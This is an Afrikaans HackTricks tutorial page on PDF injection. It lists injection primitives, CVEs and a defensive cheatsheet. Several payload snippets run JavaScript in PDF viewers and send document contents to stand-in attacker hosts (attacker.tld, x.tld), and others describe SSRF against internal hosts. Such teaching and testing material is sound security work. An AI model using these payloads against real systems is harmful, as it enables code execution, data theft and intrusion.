PDF Injection

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer, SSRF te doen of die PDF-inhoud te steel. PDF-sintaksis is uiters toelaatbaar – as jy uit die string of woordeboek wat jou invoer inkorporeer kan breek, kan jy heeltemal nuwe voorwerpe (of nuwe sleutels in dieselfde voorwerp) byvoeg wat Acrobat/Chrome graag sal ontleed. Sedert 2024 het 'n golf van fout-bounty verslae gewys dat een onontsnapte haakie of terug-skuif genoeg is vir volle skripuitvoering.

TL;DR – Moderne Aanval Werkvloei (2024)

  1. Vind enige gebruiker-beheerde waarde wat uiteindelik binne 'n (haakie string), /URI ( … ) of /JS ( … ) veld in die gegenereerde PDF eindig.
  2. Spuit ) (sluit die string) gevolg deur een van die primitiewe hieronder en eindig met 'n ander opening haakie om die sintaksis geldig te hou.
  3. Lewer die kwaadwillige PDF aan 'n slagoffer (of aan 'n agtergronddiens wat outomaties die lêer weergee – wonderlik vir blinde foute).
  4. Jou payload loop in die PDF-kijker:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (sien CVE-2024-4367)
  • Acrobat → Volledige JavaScript API (kan arbitrêre lêerinligting met this.getPageNthWord ekfiltreer)

Voorbeeld (annotasie skakel kaping):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Die eerste ) sluit die oorspronklike URI-string, ons voeg dan 'n nuwe Action woordeboek by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.

Nuttige Inspuitingsprimitiewe

DoelPayload SnippetAantekeninge
JavaScript op oop/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Voer onmiddellik uit wanneer die dokument oopgemaak word (werk in Acrobat, nie in Chrome nie).
JavaScript op skakel/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Werk in PDFium & Acrobat as jy 'n /Link annotasie beheer.
Blind data exfiltrasie<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Kombineer met this.getPageNthWord binne JS om inhoud te steel.
Server-Side SSRFDieselfde as hierbo, maar teiken 'n interne URL – wonderlik wanneer die PDF deur agterkant-dienste wat /URI eerbiedig, gerender word.
Lynbreek vir nuwe objekte\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjAs die biblioteek jou toelaat om nuwe-lyn karakters in te spuit, kan jy heeltemal nuwe objekte skep.

Blind Enumerasie Truuk

Gareth Heyes (PortSwigger) het 'n een-liner vrygestel wat elke objek binne 'n onbekende dokument tel – handig wanneer jy nie die gegenereerde PDF kan sien nie:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Die kode herhaal die Acrobat DOM en maak uitgaande versoeke vir elke eienskap/waarde paar, wat jou 'n JSON-agtige dump van die lêer gee. Sien die witpapier “Portable Data exFiltration” vir die volledige tegniek.

Regte-Wêreld Foute (2023-2025)

  • CVE-2024-4367 – Arbitraire JavaScript uitvoering in Firefox se PDF.js voor 4.2.67 het die sandbox omseil met 'n vervaardigde /JavaScript aksie.
  • Bug bounty 2024-05 – Groot fintech het kliënt-gelewer faktuur notas toegelaat wat in /URI beland het; verslag betaal $10k na 'n gedemonstreerde SSRF na interne metadata gasheer met file:/// URI.
  • CVE-2023-26155node-qpdf opdrag-inspuiting via ongesuiwerde PDF pad toon die belangrikheid van die ontsnapping van terugskrape en hakies selfs voor die PDF laag.

Verdedigende Cheatsheet

  1. Moet nooit rou gebruikersinvoer binne () strings of name saamvoeg nie. Ontsnap \, (, ) soos vereis deur §7.3 van die PDF spesifikasie of gebruik hex strings <...>.
  2. As jy skakels bou, verkies /URI (https://…) wat jy ten volle URL-kodeer; blokkeer javascript: skemas in kliëntkykers.
  3. Verwyder of valideer /OpenAction, /AA (addisionele aksies), /Launch, /SubmitForm en /ImportData woorde wanneer jy PDF's na-verwerk.
  4. Aan die bedienerkant, render onbetroubare PDF's met 'n headless converter (bv. qpdf –decrypt –linearize) wat JavaScript en eksterne aksies verwyder.
  5. Hou PDF kyker op datum; PDF.js < 4.2.67 en Acrobat Reader voor Julie 2024 patches laat triviale kode uitvoering toe.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks